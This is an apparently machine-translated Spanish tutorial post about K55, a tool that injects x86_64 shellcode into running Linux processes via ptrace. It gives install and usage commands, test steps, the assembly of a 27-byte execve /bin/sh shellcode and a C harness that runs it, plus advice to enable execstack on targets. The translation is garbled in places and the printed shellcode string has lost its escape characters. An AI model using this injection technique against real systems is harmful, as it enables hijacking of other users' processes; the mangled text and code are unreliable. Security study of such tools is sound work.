Tutoriales

Utilidad de inyección de procesos Linux X86_64! Kalilinuxtutorials

los K55 La útil de inyección de carga útil se utiliza para inyectar cargas bártulos de shellcode x86_64 en procesos en ejecución. La utilidad se desarrolló utilizando técnicas modernas de C ++ 11, así como algunas funciones tradicionales de C linux como ptrace().

El shellcode generado en el proceso de destino es de 27 bytes y ejecuta / bin / sh (genera un shell bash) adentro del espacio de direcciones del destino. En el futuro, permitiré a los usuarios ingresar su propio código de shell a través de argumentos de serie de comando.

Instalación

git clone https://github.com/josh0xA/K55.git
cd K55
chmod +x build-install.sh
./build-install.sh

Uso

Usage: ./K55 <process-name>

  • nombre-proceso puede ser cualquier proceso linux con r-xp o execstack permisos.

Pruebas

Prueba 1) En una terminal (K55 / Directorio), ejecute: ./k55_example_process/k55_test_process
Prueba 2) En otro terminal, ejecute el inyector: ./K55 k55_test_process

En batalla

  • Se genera un shell en k55_test_process cuando se ejecuta el inyector de shellcode K55 (como root).

Inyectar en un proceso transmitido

1614096140 941 Utilidad de inyeccion de procesos Linux X86 64
Utilidad de inyección de procesos Linux X86_64! Kalilinuxtutorials 4

Shell engendrado en el objetivo

1614096141 596 Utilidad de inyeccion de procesos Linux X86 64
Utilidad de inyección de procesos Linux X86_64! Kalilinuxtutorials 5

Limitaciones

Obviamente, ptrace(PTRACE_POKETEXT...) Las llamadas no son las más disfrazadas. Entonces, algunas aplicaciones pueden jalonar el intención de K55. Aunque, para las pruebas de seguridad, asegúrese de activar execstack para sus aplicaciones de destino. Por ejemplo, si estoy probando en gdb, antaño de inyectar, ejecutaría lo subsiguiente: sudo execstack -s /usr/bin/gdb. Instale execstack desde su administrador de paquetes de distribuciones. Para los usuarios de Arch Linux, puede encontrar execstack en AUR.

Elaboración de la carga útil del caparazón

Nota: La subsiguiente es una demostración. La condena de carga útil ya está codificada en K55.

Implementación de ensamblaje de The Payload (citado de shell-storm (redirect))

main:
    xor eax, eax
    mov rbx, 0xFF978CD091969DD1
    neg rbx
    push rbx
    push rsp
    pop rdi
    cdq
    push rdx
    push rdi
    push rsp
    pop rsi
    mov al, 0x3b
    syscall
  • C-Implementación de la carga útil
#include <stdio.h>
#include <string.h>

// Shellcode breakdown of the assembly code.
char code[] = "x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05";

int main()
{
    printf("len:%d bytesn", strlen(code));
    (*(void(*)()) code)();
    return 0;
}

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba